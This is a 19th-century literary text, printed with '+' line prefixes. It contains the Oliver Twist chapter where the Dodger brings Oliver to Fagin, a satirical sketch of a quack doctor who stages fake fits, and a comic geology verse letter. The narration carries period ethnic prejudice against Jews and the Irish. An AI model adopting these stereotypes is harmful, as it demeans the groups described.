+Oliver walked twenty miles that day; and all that time tasted nothing
+but the crust of dry bread, and a few draughts of water which he begged
+at the cottage-doors by the road-side. When the night came, he turned
+into a meadow, and, creeping close under a hay-rick, determined to lie
+there till morning. He felt frightened at first, for the wind moaned
+dismally over the empty fields, and he was cold and hungry, and more
+alone than he had ever felt before. Being very tired with his walk,
+however, he soon fell asleep and forgot his troubles.
+
+He felt cold and stiff when he got up next morning, and so hungry that
+he was obliged to exchange the penny for a small loaf in the very first
+village through which he passed. He had walked no more than twelve
+miles, when night closed in again; for his feet were sore, and his legs
+so weak that they trembled beneath him. Another night passed in the
+bleak damp air only made him worse; and, when he set forward on his
+journey next morning, he could hardly crawl along.
+
+He waited at the bottom of a steep hill till a stage-coach came up,
+and then begged of the outside passengers; but there were very few who
+took any notice of him, and even those, told him to wait till they got
+to the top of the hill, and then let them see how far he could run for
+a halfpenny. Poor Oliver tried to keep up with the coach a little way,
+but was unable to do it, by reason of his fatigue and sore feet. When
+the outsides saw this, they put their halfpence back into their pockets
+again, declaring that he was an idle young dog, and didn't deserve
+anything; and the coach rattled away, and left only a cloud of dust
+behind.
+
+In some villages, large painted boards were fixed up, warning all
+persons who begged within the district that they would be sent to jail,
+which frightened Oliver very much, and made him very glad to get out of
+them with all possible expedition. In others he would stand about the
+inn-yards, and look mournfully at every one who passed; a proceeding
+which generally terminated in the landlady's ordering one of the
+post-boys who were lounging about, to drive that strange boy out of the
+place, for she was sure he had come to steal something. If he begged at
+a farmer's house, ten to one but they threatened to set the dog on him;
+and when he showed his nose in a shop, they talked about the beadle,
+which brought Oliver's heart up into his mouth,--very often the only
+thing he had there, for many hours together.
+
+In fact, if it had not been for a good-hearted turnpike-man, and a
+benevolent old lady, Oliver's troubles would have been shortened by the
+very same process which put an end to his mother's; in other words, he
+would most assuredly have fallen dead upon the king's highway. But the
+turnpike-man gave him a meal of bread and cheese; and the old lady, who
+had a shipwrecked grandson wandering barefooted in some distant part of
+the earth, took pity upon the poor orphan, and gave him what little she
+could afford--and more--with such kind and gentle words, and such tears
+of sympathy and compassion, that they sank deeper into Oliver's soul
+than all the sufferings he had ever undergone.
+
+Early on the seventh morning after he had left his native place, Oliver
+limped slowly into the little town of Barnet. The window-shutters were
+closed, the street was empty, not a soul had awakened to the business of
+the day. The sun was rising in all his splendid beauty, but the light
+only seemed to show the boy his own lonesomeness and desolation as he
+sat with bleeding feet and covered with dust upon a cold door-step.
+
+By degrees the shutters were opened, the window-blinds were drawn up,
+and people began passing to and fro. Some few stopped to gaze at Oliver
+for a moment or two, or turned round to stare at him as they hurried by;
+but none relieved him, or troubled themselves to inquire how he came
+there. He had no heart to beg, and there he sat.
+
+He had been crouching on the step for some time, gazing listlessly at
+the coaches as they passed through, and thinking how strange it seemed
+that they could do with ease in a few hours what it had taken him a
+whole week of courage and determination beyond his years to accomplish,
+when he was roused by observing that a boy who had passed him carelessly
+some minutes before, had returned, and was now surveying him most
+earnestly from the opposite side of the way. He took little heed of this
+at first; but the boy remained in the same attitude of close observation
+so long, that Oliver raised his head, and returned his steady look. Upon
+this, the boy crossed over, and, walking close up to Oliver, said,
+
+"Hullo! my covey, what's the row?"
+
+The boy who addressed this inquiry to the young wayfarer was about his
+own age, but one of the queerest-looking boys that Oliver had ever
+seen. He was a snub-nosed, flat-browed, common-faced boy enough, and
+as dirty a juvenile as one would wish to see; but he had got about him
+all the airs and manners of a man. He was short of his age, with rather
+bow-legs, and little sharp ugly eyes. His hat was stuck on the top of
+his head so slightly that it threatened to fall off every moment, and
+would have done so very often if the wearer had not had a knack of every
+now and then giving his head a sudden twitch, which brought it back to
+its old place again. He wore a man's coat, which reached nearly to his
+heels. He had turned the cuffs back halfway up his arm to get his hands
+out of the sleeves, apparently with the ultimate view of thrusting them
+into the pockets of his corduroy trousers, for there he kept them. He
+was altogether as roystering and swaggering a young gentleman as ever
+stood three feet six, or something less, in his bluchers.
+
+"Hullo, my covey, what's the row?" said this strange young gentleman to
+Oliver.
+
+"I am very hungry and tired," replied Oliver, the tears standing in his
+eyes as he spoke. "I have walked a long way,--I have been walking these
+seven days."
+
+"Walking for sivin days!" said the young gentleman. "Oh, I see. Beak's
+order, eh? But," he added, noticing Oliver's look of surprise, "I
+suppose you don't know wot a beak is, my flash com-pan-i-on."
+
+Oliver mildly replied, that he had always heard a bird's mouth described
+by the term in question.
+
+"My eyes, how green!" exclaimed the young gentleman. "Why, a beak's a
+madg'st'rate; and when you walk by a beak's order, it's not straight
+forerd, but always going up, and nivir coming down agen. Was you never
+on the mill?"
+
+"What mill?" inquired Oliver.
+
+"What mill!--why, _the_ mill,--the mill as takes up so little room that
+it'll work inside a stone jug, and always goes better when the wind's
+low with people than when it's high, acos then they can't get workmen.
+But come," said the young gentleman; "you want grub, and you shall have
+it. I'm at low-water-mark,--only one bob and a magpie; but, _as_ far
+_as_ it goes, I'll fork out and stump. Up with you on your pins. There:
+now then, morrice."
+
+Assisting Oliver to rise, the young gentleman took him to an adjacent
+chandler's shop, where he purchased a sufficiency of ready-dressed ham
+and a half-quartern loaf, or, as he himself expressed it, "a fourpenny
+bran;" the ham being kept clean and preserved from dust by the ingenious
+expedient of making a hole in the loaf by pulling out a portion of the
+crumb, and stuffing it therein. Taking the bread under his arm, the
+young gentleman turned into a small public-house, and led the way to a
+tap-room in the rear of the premises. Here, a pot of beer was brought in
+by the direction of the mysterious youth; and Oliver, falling to, at his
+new friend's bidding, made a long and hearty meal, during the progress
+of which the strange boy eyed him from time to time with great attention.
+
+"Going to London?" said the strange boy, when Oliver had at length
+concluded.
+
+"Yes."
+
+"Got any lodgings?"
+
+"No."
+
+"Money?"
+
+"No."
+
+The strange boy whistled, and put his arms into his pockets as far as
+the big-coat sleeves would let them go.
+
+"Do you live in London?" inquired Oliver.
+
+"Yes, I do, when I'm at home," replied the boy. "I suppose you want some
+place to sleep in to-night, don't you?"
+
+"I do indeed," answered Oliver. "I have not slept under a roof since I
+left the country."
+
+"Don't fret your eyelids on that score," said the young gentleman. "I've
+got to be in London to-night, and I know a 'spectable old genelman as
+lives there, wot'll give you lodgings for nothink, and never ask for the
+change; that is, if any genelman he knows interduces you. And don't he
+know me?--Oh, no,--not in the least,--by no means,--certainly not."
+
+The young gentleman smiled, as if to intimate that the latter fragments
+of discourse were playfully ironical, and finished the beer as he did so.
+
+This unexpected offer of shelter was too tempting to be resisted,
+especially as it was immediately followed up, by the assurance that the
+old gentleman already referred to, would doubtless provide Oliver with a
+comfortable place without loss of time. This led to a more friendly and
+confidential dialogue, from which Oliver discovered that his friend's
+name was Jack Dawkins, and that he was a peculiar pet and _protegé_ of
+the elderly gentleman before mentioned.
+
+Mr. Dawkins's appearance did not say a vast deal in favour of the
+comforts which his patron's interest obtained for those whom he took
+under his protection; but as he had a somewhat flighty and dissolute
+mode of conversing, and furthermore avowed that among his intimate
+friends he was better known by the _sobriquet_ of "The artful Dodger,"
+Oliver concluded that, being of a dissipated and careless turn, the
+moral precepts of his benefactor had hitherto been thrown away upon
+him. Under this impression, he secretly resolved to cultivate the good
+opinion of the old gentleman as quickly as possible; and, if he found
+the Dodger incorrigible, as he more than half suspected he should, to
+decline the honour of his farther acquaintance.
+
+As John Dawkins objected to their entering London before nightfall, it
+was nearly eleven o'clock when they reached the turnpike at Islington.
+They crossed from the Angel into St. John's-road, struck down the
+small street which terminates at Sadler's Wells theatre, through
+Exmouth-street and Coppice-row, down the little court by the side of
+the workhouse, across the classic ground which once bore the name of
+Hockley-in-the-hole, thence into Little Saffron-hill, and so into
+Saffron-hill the Great, along which the Dodger scudded at a rapid pace,
+directing Oliver to follow close at his heels.
+
+Although Oliver had enough to occupy his attention in keeping sight of
+his leader, he could not help bestowing a few hasty glances on either
+side of the way as he passed along. A dirtier or more wretched place he
+had never seen. The street was very narrow and muddy, and the air was
+impregnated with filthy odours. There were a good many small shops; but
+the only stock in trade appeared to be heaps of children, who, even at
+that time of night, were crawling in and out at the doors, or screaming
+from the inside. The sole places that seemed to prosper amid the general
+blight of the place were the public-houses, and in them, the lowest
+orders of Irish (who are generally the lowest orders of anything) were
+wrangling with might and main. Covered ways and yards, which here and
+there diverged from the main street, disclosed little knots of houses
+where drunken men and women were positively wallowing in the filth; and
+from several of the doorways, great ill-looking fellows were cautiously
+emerging, bound, to all appearance, upon no very well-disposed or
+harmless errands.
+
+Oliver was just considering whether he hadn't better run away, when they
+reached the bottom of the hill: his conductor, catching him by the arm,
+pushed open the door of a house near Field-lane, and, drawing him into
+the passage, closed it behind them.
+
+"Now, then," cried a voice from below, in reply to a whistle from the
+Dodger.
+
+"_Plummy and slam!_" was the reply.
+
+This seemed to be some watchword or signal that it was all right; for
+the light of a feeble candle gleamed upon the wall at the farther end of
+the passage, and a man's face peeped out from where a balustrade of the
+old kitchen staircase had been broken away.
+
+"There's two on you," said the man, thrusting the candle farther out,
+and shading his eyes with his hand. "Who's the t'other one?"
+
+"A new pal," replied Jack, pulling Oliver forward.
+
+"Where did he come from?"
+
+"Greenland. Is Fagin up stairs?"
+
+"Yes, he's a sortin' the wipes. Up with you!" The candle was drawn back,
+and the face disappeared.
+
+Oliver, groping his way with one hand, and with the other firmly grasped
+by his companion, ascended with much difficulty the dark and broken
+stairs which his conductor mounted with an ease and expedition that
+showed he was well acquainted with them. He threw open the door of a
+back-room, and drew Oliver in after him.
+
+The walls and ceiling of the room were perfectly black with age and
+dirt. There was a deal-table before the fire, upon which was a candle
+stuck in a ginger-beer bottle; two or three pewter pots, a loaf and
+butter, and a plate. In a frying-pan which was on the fire, and which
+was secured to the mantelshelf by a string, some sausages were cooking;
+and standing over them, with a toasting-fork in his hand, was a very old
+shrivelled Jew, whose villanous-looking and repulsive face was obscured
+by a quantity of matted red hair. He was dressed in a greasy flannel
+gown, with his throat bare, and seemed to be dividing his attention
+between the frying-pan and a clothes-horse, over which a great number of
+silk handkerchiefs were hanging. Several rough beds made of old sacks
+were huddled side by side on the floor; and seated round the table were
+four or five boys, none older than the Dodger, smoking long clay pipes
+and drinking spirits with all the air of middle-aged men. These all
+crowded about their associate as he whispered a few words to the Jew,
+and then turned round and grinned at Oliver, as did the Jew himself,
+toasting-fork in hand.
+
+"This is him, Fagin," said Jack Dawkins; "my friend, Oliver Twist."
+
+The Jew grinned; and, making a low obeisance to Oliver, took him by the
+hand, and hoped he should have the honour of his intimate acquaintance.
+Upon this, the young gentlemen with the pipes came round him, and shook
+both his hands very hard,--especially the one in which he held his
+little bundle. One young gentleman was very anxious to hang up his cap
+for him; and another was so obliging as to put his hands in his pockets,
+in order that, as he was very tired, he might not have the trouble of
+emptying them when he went to bed. These civilities would probably have
+been extended much further, but for a liberal exercise of the Jew's
+toasting-fork on the heads and shoulders of the affectionate youths who
+offered them.
+
+"We are very glad to see you, Oliver,--very," said the Jew. "Dodger,
+take off the sausages, and draw a tub near the fire for Oliver. Ah,
+you're a-staring at the pocket-handkerchiefs! eh, my dear? There are a
+good many of 'em, ain't there? We've just looked 'em out ready for the
+wash; that's all, Oliver; that's all. Ha! ha! ha!"
+
+The latter part of this speech was hailed by a boisterous shout from all
+the hopeful pupils of the merry old gentleman, in the midst of which
+they went to supper.
+
+Oliver ate his share; and the Jew then mixed him a glass of hot gin
+and water, telling him he must drink it off directly, because another
+gentleman wanted the tumbler. Oliver did as he was desired. Almost
+instantly afterwards, he felt himself gently lifted on to one of the
+sacks, and then he sunk into a deep sleep.
+
+
+
+
+                  THE PORTRAIT GALLERY.--No. II.
+
+Dr. Cleaver, whose portrait we next reviewed, displayed a physiognomy
+widely different from that of DR. DULCET. It did not exhibit any of the
+milk of human kindness; or, if ever such a benign fluid had circulated
+in his veins, it had been curded by the rennet of early disappointment
+in every young hope. The features were stern and inflexible,--cast-iron,
+moulded by philosophy; a Cynic smile portrayed contempt of the world, or
+rather of society, such as it then was, is, and most probably ever will
+be. Yet his rubicond cheeks and vinous nose proclaimed that he was fond
+of the good things of this perishable globe; and few men, when he had
+acquired wealth, enjoyed life and its luxuries with greater zest than
+he did. His maxim was founded on what he would call _the whole duty of
+man_; which was, _to keep what we get, and to get all we can_.
+
+Edward Cleaver was born in that class of human beings denominated
+_paupers_. He was ushered into life a burthen on the parish in which
+he had been found, at the door of a butcher of the name of Cleaver,
+(whose patronymic was generously bestowed on him,) in a condition as
+natural as his birth. Cleaver was a man of a _serious_ way of thinking;
+and, fearing that the adoption of an orphan infant might asperse his
+sanctimonious character, and thereby injure his trade, very properly
+sent the child to the parish officers. These worthies would willingly
+have made him paternise the thing; but he had evidence of its having
+been found abandoned in the street.
+
+Whether a burthen be carried by a body corporate or an individual, it is
+nevertheless an obnoxious incumbrance, of which the bearer is anxious to
+rid himself as soon as he possibly can; and therefore, maugre the puling
+and mawkish cant of some would-be philanthropic scribblers, a parish has
+just the same right to grumble at a burthen, and cast it off as feasibly
+as may be, as a hod-bearer to relieve himself of his load, a donkey
+of his panniers, or a nursery-maid of a squalling and ponderous brat.
+Therefore, overseers are perfectly justifiable in having recourse to
+all the industrious methods that sound political economy can suggest to
+shake off the taxation imposed upon their parishioners by improvidence
+and vice. However, all their ingenuity could not prevent the growth of
+Ned Cleaver, who attained the age of seven, illustrating the fact, that
+vital air can support the functions of life with the aid of but little
+sustenance: and the imp was so hale and hearty, that they thought him
+"ragged and tough" enough for anything, and sent him to sea.
+
+To relate his mishaps as a cabin-boy on board a collier would fill a
+volume; suffice it to say, the lad was naturally stubborn, and would
+not be persuaded that he was created to work without sufficient food,
+and get thrashed in lieu of wages; and finding, to use the old joke,
+that, although he was _bred_ to the sea, the sea was not _bread_ to him,
+he decamped at Plymouth, and joined a company of strolling tumblers,
+hurdy-gurdy players, and mountebanks, that were travelling about the
+country.
+
+Ned had now attained is sixteenth year, and had perfected himself; in
+forecastle and caboose, in various accomplishments; he could sing a
+slang-song, chop his jaws in various modulations, was a very _Moscheles_
+on the salt-box, danced a hornpipe, mimicked all sorts of infirmities,
+and could make the most horrible faces, that would so disfigure him
+that no one could recognise his natural features, which were uncommonly
+handsome; so much so indeed, that he became a great favourite of the
+ladies of the company: but, although he _ruled the roost_ with the
+fair sex, he was scurvily _basted_ upon every trivial occasion by the
+gentlemen performers, and was therefore not much better off on land,
+than when at sea he was flogged up aloft to reef, or flogged down to
+the salutary exercise of the _holy stone_, which would teach the most
+impious chap to pray. Cleaver, therefore, betook himself to his _lower
+extremities_ in the neighbourhood of London; and, once more a _filius
+populi_, threw himself in the tide of our population in search of work
+and food. For several days he strayed about this wealthy metropolis,
+and was well-nigh proving the veracity of those sapient legislators,
+who maintain that such vagabonds have _no business to live_,--which is
+indeed a truism. Happily for our young vagrant, he one night fell in
+with a drunken old man who was endeavouring to chalk upon the walls, in
+gigantic letters, the name of a celebrated physician. It immediately
+occurred to Master Ned that, if he could afford assistance to the
+staggering artist, he, in return, might afford him some relief. It was a
+providential inspiration. Ned helped his new-made acquaintance to what
+he politely termed his _boozing ken_,[89] where he was feasted with a
+_blow-out_ of what his patron called _grub and bub_ (_Anglicè_, victuals
+and drink); and, after enjoying a delicious night's rest in an Irish
+_dry lodging_ upon wet straw, he was admitted as an assistant in the
+chalking line, at sixpence per diem. His master, who when sober could
+not read, would oftentimes make sad mistakes when he was, in every sense
+of the denomination, a "_knight of the brush and moon_,"--which, in the
+language of the holy land, meaneth "_in the wind_,"--and our apprentice
+soon became an indispensable assistant, since his master could earn six
+shillings a day, and get as drunk as a lord, by paying him sixpence out
+of his salary. Now, although our youth was not ungrateful, yet he was
+ambitious, and he could not see the reason why such a disproportion
+in the wages of labour should exist; he one morning took it into his
+head to work on his own bottom, and therefore presented himself to his
+chief employer, a Dr. Doall, with the abominable intention of basely
+undermining his benefactor at half-price.
+
+[89] A pot-house lodging.
+
+Doall was much pleased with his appearance and his candour, but still
+more with his proposal; and Ned was forthwith taken into his service.
+His occupation _merely_ consisted in cleaning the whole house, answering
+the door, running errands, helping to cook the dinner, serving at
+table, pounding medicines, washing dishes, scouring knives and forks,
+and blacking shoes, _mooning_ about the streets at night chalking his
+master's name, and during his leisure moments he was advised to study
+physic, and wash out phials and gallipots; for which services he was put
+upon board wages, at the rate of ninepence per diem. All these duties
+he fulfilled most cheerfully, for he had an incentive to his labours.
+Next to good living--when he could get it--Cleaver was a warm admirer
+of the fair sex, even when hungry; and, when beauty drank to him with
+her eyes, he would have pledged her in small-beer as rapturously as in
+half-and-half. Doall had a daughter, an only child; she was remarkable
+for her beauty, and no less recommendable by her accomplishments.
+She was ever engaged in reading novels and plays, could strum upon
+the guitar, and all day long, was either singing or spouting: our
+apprentice looked upon her as the paragon all loveliness. If he admired
+her, he soon perceived that his youth, his innocence, and perhaps his
+good figure, had produced a favourable impression upon the maiden. A
+conversation with her father confirmed the surmises of vanity, when
+he overheard her sweet voice admitting that he was a _monstrous nice_
+young fellow, and impressing upon her father the propriety of giving him
+decent clothes, and making him look like a gentleman.
+
+This conversation had the "desired effect." Ned was sent to suit
+himself in Monmouth-street, cooky allowed him to dip his crust in the
+dripping-pan on roasting-days; and, although on board wages, Emmelina,
+the doctor's lovely daughter, permitted him a fair run of his teeth when
+her father was out. As the cook was often junketing with her lover, the
+sexton of the parish, she did not grudge him these little advantages.
+
+One morning, just as he had come home from chalking, the doctor called
+him, and bidding him be seated, (a most unexpected honour, which nearly
+drove the lad out of his senses,) he informed him that he was highly
+satisfied with his conduct, would henceforth allow him four pounds a
+year wages, and pay him by the job for other services, which were to
+commence by his _doing fits_; so saying, he gave him a treatise on
+epilepsy, and bidding him study the symptoms, he left him, slipping
+half-a-crown into his hand.
+
+The enchanted Cleaver was not long in understanding the doctor's
+intentions, and sedulously applied himself to acquire the means of
+qualifying himself for his novel occupation; although he was rather
+staggered when he read the following: "The patient falls down without
+any previous notice, his eyes are so distorted that only the whites of
+them are to be seen, his fists are clenched, he foams at the mouth,
+thrusts out his tongue, and his body and limbs are agitated and
+convulsed. After a continuance of this terrific state, the symptoms
+gradually abate; but the patient continues looking wildly and vacantly
+around him, perfectly unconscious of what has passed." Cleaver
+immediately proceeded to make the most awful faces in his looking-glass,
+till he actually frightened himself into the belief that a real fit was
+coming on. Delighted with his attempt, no sooner had Doall returned,
+than Cleaver fell down in the hall, in all the fearful distortions of an
+epileptic.
+
+"Bravo!--bravo!" exclaimed the doctor;--"admirable!--excellent!"
+
+"Delicious!--wonderful!--he's a very artist. Oh, what a tragedian he
+would make!" exclaimed the daughter; "how charmingly he would die!
+
+    'Thy bones are marrowless, thy blood is cold,--
+    Thou hast no speculation in those eyes!'"
+
+"I'll be d--d if he hasn't, though!" replied Doall; "and if this
+chap does not make his way in the world, I'll swallow a peck of my
+own _anti-omnibus pills_. Now mutter away, my boy--more foam--more
+foam--that's it!--now for a kick--that's your sort!--clench your
+fist--capital! capital! Now, my fine fellow, get up, and I'll renovate
+you with some of my _cardiac anti-nervous balm_;" and, so saying, he
+took out of his closet a small bottle which contained the aforesaid
+liquor, which was neither more nor less than a dram for ladies, who
+dared not indulge in more vulgar potations, and which I afterwards found
+was composed of cherry-bounce, Curaçoa, Cayenne pepper, ginger, and
+some other drug of a most stimulating nature, which once recommended a
+certain holy man to a certain great personage;--a fact which may be now
+noticed, since both parties are in the _Elysian_ Fields.
+
+It was now settled that the following day at four o'clock, Cleaver was
+to fall down in a fit in Albemarle-street, at the door of a fashionable
+family-hotel, the doctor driving past at the very time. In a moment
+he had collected a crowd around him. One exclaimed, "The fellow's
+drunk!"--another bystander maintained it was apoplexy; a second,
+epilepsy; and an old woman assured the group that it was catalepsy.
+The lad's face was sprinkled with kennel water, hartshorn charitably
+applied to his nostrils, and a stick humanely crammed between his teeth
+for fear he should bite his tongue. On a sudden, and to his infinite
+satisfaction, Doall jumped out of his job-fly, and, after looking at
+the patient for a moment, observed that it was an _attack of idiopathic
+epilepsy, arising from a determination of the sanguineous system to the
+encephalon_. This learned illustration proclaimed the man of science,
+and every one made way for him with becoming respect. Our esculapius
+then took out a small phial from his pocket, and, pouring two or three
+drops into Ned's foaming mouth, he added, "These drops are infallible
+in recovering people from all sorts of sympathetic, symptomatic, and
+idiopathic attacks;" when Cleaver immediately opened his eyes, looked
+around him with a vacant stare, to the great amazement of every one
+present, and in a stuttering voice asked where he was. The doctor
+generously told him where he lived in a loud and audible manner, gave
+him half-a-crown, and was about ascending his pill-box, after bidding
+him call upon him in a day or two, when a servant in a splendid livery
+stepped forward from the hotel, and informed him that Lady Coverley
+wished to see him. He was immediately ushered into the presence of a
+superannuated countess, just arrived from the country.
+
+"My dear sir!" she exclaimed, "I am positively the most fortunate
+woman in the world, to have thus accidentally met with such a prodigy.
+I witnessed your wonderful cure upon that poor creature, and I must
+absolutely get you to see my daughter Virgy. All the physicians in town
+have attended her, and I do declare I think they have done her more harm
+than good. When Lord Coverley arrives with Lady Virginia, Virgy shall
+see you immediately; I declare she must."
+
+Doall bowed obsequiously, tendered his address, and, slipping
+half-a-guinea into the footman's hand, drove off, not without having
+heard the servant proclaim to all around, "that he was the cleverest
+man in _Lunnun_, and beat out all other doctors by _chalks_;" the
+fellow being little aware at the time that his vulgar expression was so
+applicable.
+
+The doctor was fortunate. Lady Virginia, a nervous, romantic fidget,
+had been reduced by bleeding, starving, and other expedients, to
+_linger long_; and in a short time Doall, having discovered that she
+was in love, recommended marriage, with repeated doses of his "_cardiac
+anti-nervous balm_;" his prescription effected a perfect cure.
+
+Cleaver was now in great favour, and every day proved to him that
+the doctor's daughter's partiality was assuming a more affectionate
+character. One morning he was pounding some combustible drugs in a
+mortar, when Emmelina familiarly entered into conversation with him.
+After having asked him various questions about his parentage,--when she
+heard that he was an orphan, she expressed great sympathy. She then
+reverted to her favourite topic, the drama; and asked him if he often
+went to the play.
+
+"Only once, miss," he replied.
+
+"And what was the performance?"
+
+"Romeo and Juliet."
+
+"Delightful piece! How did you like the garden scene, Edward?
+
+    'See how she leans her cheek upon that hand!
+    O that I were a glove upon that hand,
+    That I might touch that cheek!'
+
+And tell me, Edward," she continued with great emotion, "did you not
+weep?"
+
+"Oh, bitterly!" he sighed; "bitterly!"
+
+"I'm sure you did. When he takes the deadly draught, and says,
+
+    'Here's to my love! Oh, true apothecary,
+    Thy drugs are quick. Thus with a kiss I die.'"
+
+Unfortunately the enraptured girl suited her action to the words, and
+imitating Romeo casting from him the fatal phial, she seized a bottle of
+some diabolical ingredient, and threw it into the mortar. A tremendous
+detonation followed, blowing up the stuff Cleaver was pounding, singeing
+all his hair and burning his face.
+
+Emmelina's terror at this accident was as great as the pain it had
+inflicted; and Cleaver was bellowing, and stamping, and kicking, when
+fortunately Doall came in. The poor sufferer expected some immediate
+relief from his skill, but was amazed to see him draw back with looks of
+admiration, and exclaim, "Beautiful, by Jupiter!--beautiful!--Oh, what a
+thought!--what a grand idea!--beautiful!"
+
+Emmelina entreated him to dress Ned's scalds, which he set about
+doing with hesitation, ever and anon stepping back to gaze upon him
+with delight; and, having applied some ointment to his face, he thus
+proceeded:
+
+"Edward, my boy, I love you, I admire you; your fits have worked
+wonders, and I have now to put your skill to another trial. The accident
+that has just blown you up, has admirably suited you for my purpose. I
+shall--what do I say?--_we_ shall make a fortune. I must send you on
+an important mission: you must know that the very ingredients you were
+pulverising were for the preparation of a remedy of my invention, which
+infallibly cures carbuncly noses; when I say cures, I mean white-washing
+them, that they may break out again as extravagantly as they chuse in
+other hands. Now, the eldest son of Lord Doodly has a nose--that I must
+have hold of: oh, such a nose! like--like----"
+
+"A will-o'-the-wisp," exclaimed his daughter.
+
+"A most appropriate simile," rejoined the doctor. "Well, Edward, see
+here; his conk is nothing to the one you shall wear:" and, so saying, he
+drew forth from a drawer a most horrible snout of wax, ingeniously fixed
+upon leather; and, applying it to the youth's face, he was actually
+struck with horror when he beheld himself in the glass. Emmelina
+shrieked, and her father roared out in raptures, "Admirable! the scalds
+on your face will add to the beauty of your countenance."
+
+It was arranged that, on the following day Cleaver was to start by the
+stage for Southampton, where Lord Doodly and his son resided. He was
+there to sport his awful nose in churches, theatres, public walks, until
+the whole town should call him "the wretch with the horrible nose!"
+According to agreement, after a tender farewell scene with Emmelina,
+he proceeded on his journey; but as he was stepping into the coach at
+the Golden Cross, a lady with a child upon her lap shrieked out most
+vehemently, exclaiming, "Coach! guard! coach! let me out--let me out! I
+will not travel if that there gentleman comes in, with his nose."
+
+"What! ma'am," replied the coachman: "would you have the gemman travel
+without his snorter to accommodate you?"
+
+"Oh! I shall faint; I will faint! Oh! sir, take that nose away!"
+
+Cleaver began to wink and blink most awfully.
+
+"Let me out! let me out! Oh Lord! where could a man get such a nose!"
+
+Cleaver pretended to suffer most cruelly, and clapped his handkerchief
+to his face in apparent agony.
+
+"It's not a nose," exclaimed a gaunt East Indian in a corner, just
+awaking from a doze: "it's more like the proboscis of a rhinoceros:
+it is a disease which we call in Bengal an elephantiasis; and, egad!
+I'll get out of the coach also, for it's the most d--nable infectious
+disorder next to leprosy."
+
+"Oh, Gracious!" shrieked the lady, rushing out; "my darling infant has
+caught it; my Tommy, my jewel, will have an elephant's nose!"
+
+"It's a shame," exclaimed the nabob. "I'll complain to the proprietors.
+One might as well travel with the plague, and go to bed to the cholera
+morbus. Let me out, coachy! let me out this instant!"
+
+Coachy now began to apprehend the consequences of a complaint from a
+person of much weight in Southampton, and politely begged of Cleaver to
+take an outside seat. The travellers on the top of the coach were as
+much terrified as the inside ones; and Cleaver was forced to sit on the
+box next to the driver, who sported an enormous mangel-wurzel smeller of
+his own, and seemed much amused with the terrors of his passengers.
+
+Cleaver's expedition was most prosperous. He terrified gipsy parties at
+Netly, shocked the members of the Yacht Club, interrupted the sketches
+of tourists, and kept High-street, above and below bar, in a state of
+constant consternation, after having been refused admittance into half
+of the hotels. The very parish beadles seemed to have an eye to his
+nose. In short, the Strasburg burghers had not been more terrified with
+the sneezer of Han Kenbergins's traveller, than were the good people of
+Southampton with that of their visitor. Having thus brought his snout
+into notoriety, he returned to town on a day when he had discovered
+that Lord Doodly's butler was going up. The conversation naturally fell
+upon noses, as the butler declared that he never in all his born days
+had seen such a pair of nozzles as Cleaver's and his young master's.
+Our adventurer then informed him that there was only _one doctor upon
+earth_ who could cure such terrific diseases, and him he was going up to
+consult. His fellow traveller of course observed, that if he could cure
+_his_ scent-box he could cure anything; and Cleaver promised him, over
+a tankard of ale, to let him hear from him if he was so fortunate as to
+get rid of his distressing disorder.
+
+Two months after, a loud ringing announced a stranger at the gate of
+Doodly Hall. It was Cleaver, with his natural facial handle, asking
+for the butler. Overjoyed at a discovery so acceptable to his master,
+who, in return for his services, might be disposed to overlook his
+spoliations with more indulgence, Cleaver was introduced by him to the
+family, who all recollected his former frightful appearance. Lord Impy,
+the heir of the title and estate, was forthwith sent to London to be
+placed under Doall's care. Again he had the good fortune to relieve him,
+and his fame had spread far and near, ere the nasal conflagration broke
+out again with redoubled virulence.
+
+Cleaver's services were soon requited by the hand of Emmelina, and
+a partnership in _the board_. He gradually acquired a smattering of
+medical knowledge; and, being well aware that affable manners bring on
+conversation, and conversation tends to draw out ignorance, he very
+wisely assumed a haughty, and at times a brutal manner; making it a rule
+never to answer a question, and requesting his patients to hold their
+tongues when they presumed to trespass on their ailments. His unmannerly
+behaviour was called _frankness_, his silence _erudition_, and his
+insolence _independence_. He thus became one of the wealthiest quacks in
+London. His romantic Emmelina for some time rendered him most miserable;
+but, fortunately for him, she one night set fire to the house while
+performing "_The Devil to pay_" in her private theatricals, and was duly
+consumed with the premises. With his usual good luck, they had been
+insured for three times their value; and the doctor was enabled to move
+to a more fashionable part of the West End, with the additional _puff of
+a fire, a burnt wife, and a disconsolate husband_!
+
+The librarian proceeded to relate the adventures of various other
+medical men; and we then entered an adjoining room, hung round with
+portraits of distinguished characters, amongst whom I was particularly
+anxious to learn the history of the once popular patriot,
+SIR RUBY RATBOROUGH.
+
+
+
+
+            PETER PLUMBAGO'S CORRESPONDENCE.
+
+      Dear Tom,--I'm aware you will need no apology
+    For a nice short epistle concerning geology;
+    The subject perhaps has been worn to a thread,--
+    But I can't drive _Philosophy_ out of my head!
+    Before the great meeting in Bristol, no doubt
+    It was harder to drive such a thing in than out;
+    But a one-pound subscription once placing it there,
+    It takes root in the brain, and sprouts faster than hair:
+    So that, though I get lectures at night from the wife of me,
+    I can't pluck Philosophy out for the life of me.
+
+      Well, Tom,--a prime fellow, brimfull of divinity,
+    Told jokes about chaos and bones to infinity;
+    And proved that the world (this he firmly believes)
+    Long before Adam's day had seen thousands of EVES!
+    Now, Tom, do you know in this earth that so great a
+    Proportion of hard rocks inclining in strata
+    Is caked with dead lizards and crocodiles' bone,
+    That a singular fact's incontestably shown--
+    Viz. ALL FLESH (WHICH IS GRASS) MUST IN TIME BECOME STONE!
+    Either limestone, or crystal, or mineral salt,
+    (Vide specim.) Lot's wife--crystallized "in a _fault_."
+    Fancy, Tom, that your skull may come under the chisel,
+    And turn out a filter for water to drizzle!
+    Or imagine the rubicund nose of our uncle,
+    In some fair lady's brooch, blazing forth a carbuncle!
+    Though learning is grand, and one labours to win it,
+    There perhaps lurks a something distressing, Tom, in it.
+    Thus, whate'er our good character while our life lasted,
+    When turned into rocks, may we not, Tom, be blasted?
+    However refined were our tastes and behaviour,
+    When slabs, to be thumped by the vulgarest pavior!
+    Who knows but that Newton's immortalised pate
+    May not some day become a dull schoolboy's old slate;
+    That head, which threw such astonishing light upon
+    The secrets of nature--a ninny to write upon!
+    Man's knowledge is ignorance, wisdom is folly;
+    The more philosophic, the more melancholy.
+
+      But, Tom, I've a theory,--my own, Tom,--my pet,
+    Though not quite mature to be published as yet,
+    Next year I expect 'twill be brought to perfection,
+    And be read at the great Geological Section.
+    The subject of FROGS having pleased the community,
+    (A subject on which none may gibe with impunity,)
+    It struck me the cold-blooded matter they own
+    Must be midway 'twixt animal substance and stone.
